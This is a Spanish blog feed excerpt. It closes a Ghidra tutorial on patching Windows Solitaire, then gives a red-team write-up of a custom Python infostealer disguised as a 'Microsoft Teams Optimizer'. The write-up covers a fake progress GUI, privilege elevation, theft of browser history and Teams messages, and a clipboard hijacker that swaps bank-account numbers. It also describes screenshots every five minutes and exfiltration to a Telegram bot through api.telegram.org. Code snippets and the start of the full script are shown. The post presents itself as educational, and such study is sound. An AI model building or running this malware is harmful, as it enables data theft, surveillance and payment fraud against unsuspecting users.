&lt;h3 id="25-análisis-del-flujo-de-victoria-y-el-gatillo-del-deal"&gt;2.5. Análisis del flujo de victoria y el &amp;ldquo;gatillo&amp;rdquo; del Deal&lt;/h3&gt;
&lt;p&gt;Seguí el salto hasta la etiqueta &lt;code&gt;LAB_01001a35&lt;/code&gt; para ver qué pasaba allí. Me encontré con un bloque de código que hace un &lt;code&gt;XOR ESI, ESI&lt;/code&gt; (una forma rápida de poner a cero un registro) y luego hace varios &lt;code&gt;PUSH&lt;/code&gt;, incluyendo el valor &lt;code&gt;0x12&lt;/code&gt;. Aunque todavía me cuesta entender exactamente qué hace cada instrucción de la pila, este parece ser el camino que toma el juego para saltar directamente a la pantalla de victoria.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8026-a708-f9eb55b6c5ff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Investigando el código cercano para entender qué más podíamos controlar, identifiqué el valor &lt;strong&gt;1000&lt;/strong&gt; (en hex &lt;code&gt;0x3E8&lt;/code&gt;). Este ID es el &amp;ldquo;gatillo&amp;rdquo; que se activa cuando el usuario pulsa &lt;strong&gt;&amp;ldquo;Deal&amp;rdquo;&lt;/strong&gt; (Repartir). En condiciones normales, este evento llama a una función que yo mismo renombré como &lt;code&gt;RESET_TIME&lt;/code&gt;, encargada de limpiar el tablero para una partida nueva. También vi menciones a &lt;code&gt;0x3e9&lt;/code&gt; y &lt;code&gt;0x3ea&lt;/code&gt;. Estos IDs corresponden probablemente a otras funciones internas, como reiniciar el tiempo o activar modos de depuración.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-8047-8c10-e99fe45b4e82.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3&gt;&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;2.6. Secuestro de flujo: Convirtiendo el reinicio en victoria&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Con el conocimiento de que el ID &lt;strong&gt;1000&lt;/strong&gt; dispara la función de repartir (&lt;code&gt;RESET_TIME&lt;/code&gt;), decidí realizar un secuestro de flujo (hijacking) utilizando la herramienta &lt;strong&gt;Patch Instruction&lt;/strong&gt; de Ghidra. El objetivo era simple: redirigir una acción legítima del usuario hacia la función de victoria que acababa de descubrir.&lt;/p&gt;
&lt;p&gt;El proceso técnico consistió en lo siguiente:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Identificación del salto:&lt;/strong&gt; Localicé la instrucción de salto condicional que se ejecuta cuando el programa detecta el ID 1000.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Redirección del destino:&lt;/strong&gt; Modifiqué la dirección de memoria de ese salto para que, en lugar de apuntar a la rutina de reinicio, saltara directamente a la etiqueta &lt;code&gt;LAB_01001a35&lt;/code&gt; (el bloque que activa la animación de victoria).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Gracias a este parche, el comportamiento del binario cambia por completo: ahora, cada vez que se pulsa &amp;ldquo;Nueva partida&amp;rdquo;, el programa omite la lógica de inicio y ejecuta la rutina de victoria. Esto demuestra cómo, alterando un solo salto en el desensamblado, podemos forzar al software a ejecutar funciones fuera de su contexto original.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-80fd-9dce-c6915cd90323.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-801c-9387-d0007f410b21.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-801d-9bda-e830d3ca73a5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-809c-b07d-e856165dd88b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/303888fa-f353-805c-a8fa-e33bd0ab0725.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="3-parte-ii-ingeniería-de-la-visibilidad-de-las-cartas"&gt;&lt;strong&gt;3. Parte II: Ingeniería de la visibilidad de las cartas&lt;/strong&gt;&lt;/h2&gt;
&lt;h3 id="31-descartando-el-motor-gráfico-limitaciones-de-cardsdll-y-cdt_draw"&gt;&lt;strong&gt;3.1. Descartando el motor gráfico:&lt;/strong&gt; Limitaciones de Cards.dll y CDT_Draw.&lt;/h3&gt;
&lt;p&gt;Para entender cómo el juego muestra las cartas, empecé por lo más lógico: buscar qué librerías externas utiliza para dibujar. En la tabla de importaciones encontré &lt;code&gt;Cards.dll&lt;/code&gt; y, dentro de ella, la función &lt;code&gt;CDT_Draw&lt;/code&gt;. Mi razonamiento fue que, si encontraba dónde se llama a esta función, podría interceptar el momento en que se decide si una carta se dibuja boca arriba o boca abajo. Sin embargo, al profundizar en las llamadas, me di cuenta de que &lt;code&gt;cdtDraw&lt;/code&gt; solo recibe parámetros y dibuja; la lógica que decide si una carta va boca arriba o boca abajo está en otro lado. Necesitaba encontrar el código que toma esas decisiones.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-804c-a179-f0b92604d9b7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-806d-bbd7-e0b76d4bdc93.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-801a-acd5-c7fcf8bf2c5a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="32-la-técnica-de-la-constante-conocida-buscando-el-7-en-la-lógica-de-columnas"&gt;&lt;strong&gt;3.2. La técnica de la constante conocida:&lt;/strong&gt; Buscando el &amp;ldquo;7&amp;rdquo; en la lógica de columnas.&lt;/h3&gt;
&lt;p&gt;Decidí cambiar de enfoque: en lugar de seguir el rastro de las funciones gráficas, me centré en la lógica del tablero. El solitario clásico tiene &lt;strong&gt;7 columnas&lt;/strong&gt; en la zona de juego, así que el programa seguramente itera sobre esas columnas. Si hay un bucle que recorre las columnas, debe haber una comparación con el número 7. Busqué en todo el código desensamblado la instrucción &lt;code&gt;CMP&lt;/code&gt; con el valor &lt;code&gt;0x7&lt;/code&gt; y encontré varios candidatos.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-80ba-a11b-cf2b475242a5.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Bingo! Entre los resultados, encontré una sección de código donde se comparaba el registro &lt;code&gt;EAX&lt;/code&gt; con &lt;code&gt;0x7&lt;/code&gt;. Esta comparación (&lt;code&gt;CMP EAX, 7&lt;/code&gt;) no parecía ser un valor aleatorio; estaba justo antes de un salto condicional que controlaba un bucle importante. Sabía que estaba en el lugar correcto: esta es la función que gestiona el barrido de las 7 columnas del tablero.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-803d-ad3a-c7ac6f49f0fa.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="33-anatomía-del-bucle-de-renderizado-cómo-el-juego-barre-el-tablero"&gt;&lt;strong&gt;3.3. Anatomía del bucle de renderizado:&lt;/strong&gt; Cómo el juego barre el tablero.&lt;/h3&gt;
&lt;p&gt;Al analizar la función que barre las 7 columnas, identifiqué un bucle interno encargado de procesar las cartas de cada pila. La lógica es interesante: el programa recupera el número total de cartas en la columna y utiliza un contador para iterar sobre ellas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-80c0-b8b9-dfa83eed9a1f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;La clave de la visibilidad reside en una comparación crítica: el juego contrasta el índice de la carta actual con el índice de la última carta de la pila.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;La condición:&lt;/strong&gt; Si el índice es igual al total (la carta de la cima), el flujo continúa hacia la rutina de visibilidad.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;El salto condicional:&lt;/strong&gt; En ensamblador, esto es un &lt;code&gt;CMP&lt;/code&gt; seguido de un &lt;code&gt;JNZ&lt;/code&gt; (&lt;em&gt;Jump if Not Zero&lt;/em&gt;). Si la carta no es la última, el &lt;code&gt;JNZ&lt;/code&gt; hace que el programa &amp;ldquo;salte&amp;rdquo; por encima del &lt;code&gt;CALL&lt;/code&gt; que marca la carta como visible.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Al neutralizar este &lt;code&gt;JNZ&lt;/code&gt;, obligo al programa a ejecutar el &lt;code&gt;CALL&lt;/code&gt; que da visibilidad para &lt;strong&gt;todas&lt;/strong&gt; las cartas, sin importar su posición.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8046-9bad-fb7dfc020a36.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-80c5-b3ee-fd2219a0a62d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="4-el-parche-final-neutralización-del-salto-uso-de-nops-para-revelar-todo-el-tablero"&gt;&lt;strong&gt;4. El Parche Final: Neutralización del salto:&lt;/strong&gt; Uso de NOPs para revelar todo el tablero.&lt;/h2&gt;
&lt;p&gt;El parche consiste en sustituir los bytes del &lt;code&gt;JNZ&lt;/code&gt; por dos instrucciones &lt;strong&gt;&lt;code&gt;NOP&lt;/code&gt;&lt;/strong&gt; (&lt;em&gt;No Operation&lt;/em&gt;). Al hacer esto, el flujo de ejecución se vuelve lineal: el &amp;ldquo;portero&amp;rdquo; que impedía mostrar las cartas inferiores desaparece, y el motor gráfico recibe la instrucción de renderizar la cara de cada carta de la columna. El resultado es un tablero completamente destapado desde el inicio de la partida.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8054-9db8-d96c6a20b064.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8050-8ac1-d8c1ac86fe16.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/320888fa-f353-8020-a9d0-db7aa6f6fe17.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="conclusión"&gt;&lt;strong&gt;Conclusión&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Hemos recorrido dos caminos diferentes dentro del ejecutable del Solitario: primero localizamos y activamos un comando oculto que fuerza la victoria, y después modificamos la lógica de dibujado para hacer visibles todas las cartas. A lo largo del proceso hemos puesto en práctica varias técnicas fundamentales de ingeniería inversa.&lt;/p&gt;
&lt;p&gt;Estas técnicas nos han permitido descubrir mecanismos internos del juego que no están visibles en la interfaz normal, demostrando cómo el análisis directo del binario puede revelar funcionalidades ocultas y ofrecer un control completo sobre el comportamiento de la aplicación.&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>El Juego del Gato y el Ratón: Crónica de un Infostealer (Red vs. Blue)</title><link>https://synacklabs.github.io/posts/infostealer/</link><pubDate>Wed, 21 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/infostealer/</guid><description>&lt;p&gt;La ciberseguridad moderna no es estática; es un enfrentamiento constante de ingenio. Para demostrar esta dinámica, hemos planteado un reto de ingeniería inversa real: el &lt;strong&gt;Red Team&lt;/strong&gt; (Isma Laya) ha diseñado un &lt;em&gt;Infostealer&lt;/em&gt; básico y personalizado, y el &lt;strong&gt;Blue Team&lt;/strong&gt; (Khaled El Modden) tiene la misión de diseccionarlo, identificar su infraestructura y neutralizar la fuga de datos.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hemos construido este reto desde cero. No es un simple script de juguete, es un binario empaquetado como una herramienta profesional de &amp;ldquo;optimización&amp;rdquo; de Microsoft Teams. La pregunta es sencilla: ¿Será capaz el Blue Team de desentrañar la lógica de nuestro código antes de que sus contraseñas y capturas de pantalla terminen en nuestro bot de Telegram?&lt;/p&gt;</description><content>&lt;p&gt;La ciberseguridad moderna no es estática; es un enfrentamiento constante de ingenio. Para demostrar esta dinámica, hemos planteado un reto de ingeniería inversa real: el &lt;strong&gt;Red Team&lt;/strong&gt; (Isma Laya) ha diseñado un &lt;em&gt;Infostealer&lt;/em&gt; básico y personalizado, y el &lt;strong&gt;Blue Team&lt;/strong&gt; (Khaled El Modden) tiene la misión de diseccionarlo, identificar su infraestructura y neutralizar la fuga de datos.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Hemos construido este reto desde cero. No es un simple script de juguete, es un binario empaquetado como una herramienta profesional de &amp;ldquo;optimización&amp;rdquo; de Microsoft Teams. La pregunta es sencilla: ¿Será capaz el Blue Team de desentrañar la lógica de nuestro código antes de que sus contraseñas y capturas de pantalla terminen en nuestro bot de Telegram?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="red-team-isma-laya"&gt;Red Team (Isma Laya)&lt;/h2&gt;
&lt;p&gt;A menudo se piensa que el malware avanzado requiere años de ensamblador y &lt;em&gt;zero-days&lt;/em&gt; complejos. Sin embargo, quise demostrar que con unas pocas librerías estándar de Python y algo de ingenio, es posible crear una herramienta de exfiltración de datos bastante potente.&lt;/p&gt;
&lt;p&gt;En este artículo, voy a desglosar &amp;ldquo;Teams Optimizer&amp;rdquo;, un script que escribí hace algun tiempo para simular cómo actúa un infostealer: desde el disfraz hasta la exfiltración de datos vía Telegram.&lt;/p&gt;
&lt;h3 id="fase-1-el-gancho-ingeniería-social-y-la-gui"&gt;Fase 1: El Gancho: Ingeniería Social y la GUI&lt;/h3&gt;
&lt;p&gt;Lo primero que decidí es que mi script no podía ser una simple ventana negra de consola; nadie ejecutaría eso. Necesitaba un disfraz.&lt;/p&gt;
&lt;p&gt;Programé una interfaz gráfica (GUI) utilizando &lt;code&gt;tkinter&lt;/code&gt; que simula ser una herramienta de mantenimiento oficial de Microsoft (&amp;ldquo;Microsoft Teams Optimizer&amp;rdquo;).
Mientras el usuario ve una barra de progreso falsa avanzando y mensajes como &lt;em&gt;&amp;ldquo;Optimizando recursos de memoria&amp;hellip;&amp;rdquo;&lt;/em&gt;, mi código está haciendo el trabajo sucio en segundo plano utilizando hilos (&lt;code&gt;threading&lt;/code&gt;).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Así creo la distracción&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def simulate_progress()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;101&lt;/span&gt;)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# La barra avanza, pero el sleep es solo para ganar tiempo&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress[&lt;span style="color:#e6db74"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;] = i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Mientras esto ocurre, los otros hilos roban los datos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80f0-891a-ca8455978690.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="fase-2-el-motor-obteniendo-permisos"&gt;Fase 2: El &amp;ldquo;Motor&amp;rdquo;: Obteniendo Permisos&lt;/h3&gt;
&lt;p&gt;Para que mi herramienta funcione al 100%, necesitaba acceso sin restricciones. Por eso, implementé una comprobación al inicio (&lt;code&gt;is_admin&lt;/code&gt;). Si el script detecta que no tiene privilegios, se relanza a sí mismo solicitando elevación.&lt;/p&gt;
&lt;p&gt;¿Por qué? Porque necesito matar procesos (&lt;code&gt;taskkill&lt;/code&gt;) y acceder a carpetas protegidas en &lt;code&gt;AppData&lt;/code&gt; para leer las bases de datos de los navegadores.&lt;/p&gt;
&lt;h3 id="fase-3-el-objetivo-principal-datos-de-navegación-y-teams"&gt;Fase 3: El Objetivo Principal: Datos de Navegación y Teams&lt;/h3&gt;
&lt;p&gt;Aquí es donde entra la lógica de extracción. Me centré en dos vectores:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;El robo de historial (Chrome/Edge)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Me di cuenta de que los navegadores bloquean sus bases de datos SQL cuando están abiertos. Mi solución fue sencilla:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Localizo el archivo &lt;code&gt;History&lt;/code&gt; en la ruta del usuario.&lt;/li&gt;
&lt;li&gt;Hago una copia temporal (&lt;code&gt;history_temp.db&lt;/code&gt;) para evitar el bloqueo de archivo en uso.&lt;/li&gt;
&lt;li&gt;Uso &lt;code&gt;sqlite3&lt;/code&gt; para volcar las URLs más visitadas a un log y enviarlo.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;Secuestrando Microsoft Teams&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Teams es una mina de oro de información corporativa. Mi script localiza la base de datos LevelDB de Teams. Dado que es un formato binario complejo, integré una llamada a un ejecutable externo (&lt;code&gt;ms_teams_parser.exe&lt;/code&gt;) que convierte esos datos en un JSON legible (&lt;code&gt;teams_parsed.json&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ms_teams_parser.exe&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/hexseven/Teams-artifacts-parser/tree/main/ms_teams_parser"&gt;https://github.com/hexseven/Teams-artifacts-parser/tree/main/ms_teams_parser&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Un detalle importante:&lt;/em&gt; Tuve que programar el script para matar el proceso de Teams (&lt;code&gt;taskkill /f /im teams.exe&lt;/code&gt;) antes de la extracción, o los archivos estarían bloqueados. Ahora mismo este ejecutable solo funciona con las versiones de Microsoft Teams Classic y Microsoft &amp;lsquo;Teams 2.0&amp;rsquo; (Windows 11) con una organización personal ya que el proceso de almacenaje de la base de datos funciona diferente.&lt;/p&gt;
&lt;h3 id="fase-4-el-clipper-ataque-en-tiempo-real"&gt;Fase 4: El &amp;ldquo;Clipper&amp;rdquo;: Ataque en tiempo real&lt;/h3&gt;
&lt;p&gt;Esta es quizás la función más insidiosa que programé: &lt;code&gt;monitor_clipboard()&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;No quería solo robar datos estáticos; quería intervenir en las acciones del usuario. Creé un bucle infinito que vigila el portapapeles. Usando &lt;code&gt;regex&lt;/code&gt;, el script busca patrones numéricos específicos (como cuentas bancarias).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Si detecto un patrón de cuenta bancaria...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; re.match(r&lt;span style="color:#e6db74"&gt;&amp;#39;\d{4}-\d{4}-\d{4}-\d{4}&amp;#39;&lt;/span&gt;, clipboard_content)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# ...lo sustituyo por &amp;#34;mi&amp;#34; cuenta al instante.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pyperclip.copy(&lt;span style="color:#e6db74"&gt;&amp;#39;1111-2222-3333-4444&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si la víctima copia un número de cuenta y lo pega segundos después, habrá pegado el número que yo definí, no el original.&lt;/p&gt;
&lt;h3 id="fase-5-infraestructura-c2-telegram-como-servidor"&gt;Fase 5: Infraestructura C2: Telegram como servidor&lt;/h3&gt;
&lt;p&gt;No quería gastar dinero en servidores ni configurar sockets complejos que un firewall detectaría. Decidí usar la API de Telegram como mi servidor de Comando y Control (C2).&lt;/p&gt;
&lt;p&gt;Todo lo que el script recolecta (logs, capturas de pantalla, JSONs de Teams) se envía mediante peticiones &lt;code&gt;POST&lt;/code&gt; HTTPS a mi bot de Telegram. Es rápido, cifrado y, lo mejor de todo, el tráfico hacia &lt;code&gt;api.telegram.org&lt;/code&gt; rara vez se bloquea en redes corporativas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-807f-b315-da21e33e7749.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8051-ab8a-ec907dee5d97.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Mensajes exfiltrados de MSTeams.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8081-99ad-d00da9a82001.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Historial de la víctima exfiltrado.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="fase-6-espionaje-visual"&gt;Fase 6: Espionaje Visual&lt;/h3&gt;
&lt;p&gt;Finalmente, añadí una función de vigilancia. Un hilo separado toma una captura de pantalla cada 5 minutos (&lt;code&gt;periodic_screenshots&lt;/code&gt;) y me la envía. Esto me permite ver en tiempo real qué está haciendo el usuario, más allá de los datos en disco.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="conclusión"&gt;Conclusión&lt;/h2&gt;
&lt;p&gt;Desarrollar este script me enseñó lo expuestos que estamos realmente. No utilicé exploits de día cero ni vulnerabilidades complejas del kernel; simplemente abusé de la confianza del usuario (la GUI falsa) y de las características estándar de automatización de Windows.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Nota: Este código fue desarrollado estrictamente con fines educativos y de investigación para comprender los vectores de ataque de los infostealers.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="script-utilizado"&gt;Script utilizado&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/python3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import os
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import sys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import json
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import re
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import glob
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import ctypes
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import shutil
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import sqlite3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import platform
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import winreg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import base64
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import subprocess
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import threading
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import urllib.parse
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from Crypto.Cipher import AES
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import win32crypt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from PIL import ImageGrab
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import pyperclip &lt;span style="color:#75715e"&gt;# Para acceder y modificar el portapapeles&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import tkinter as tk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from tkinter import ttk, messagebox
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import random
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from PIL import Image, ImageTk
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ——— Configuración —————————————————————————————————————————————&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BOT_TOKEN = &lt;span style="color:#e6db74"&gt;&amp;#34;74181---------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CHAT_ID = &lt;span style="color:#e6db74"&gt;&amp;#34;101-----------------------&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;TELEGRAM_API = f&lt;span style="color:#e6db74"&gt;&amp;#34;https://api.telegram.org/bot{BOT_TOKEN}/sendDocument&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PARSER_EXE = &lt;span style="color:#e6db74"&gt;&amp;#34;ms_teams_parser.exe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ——— Helpers —————————————————————————————————————————————————————&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def is_admin()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; ctypes.windll.shell32.IsUserAnAdmin()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; False
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def send_file(path)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not os.path.exists(path)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
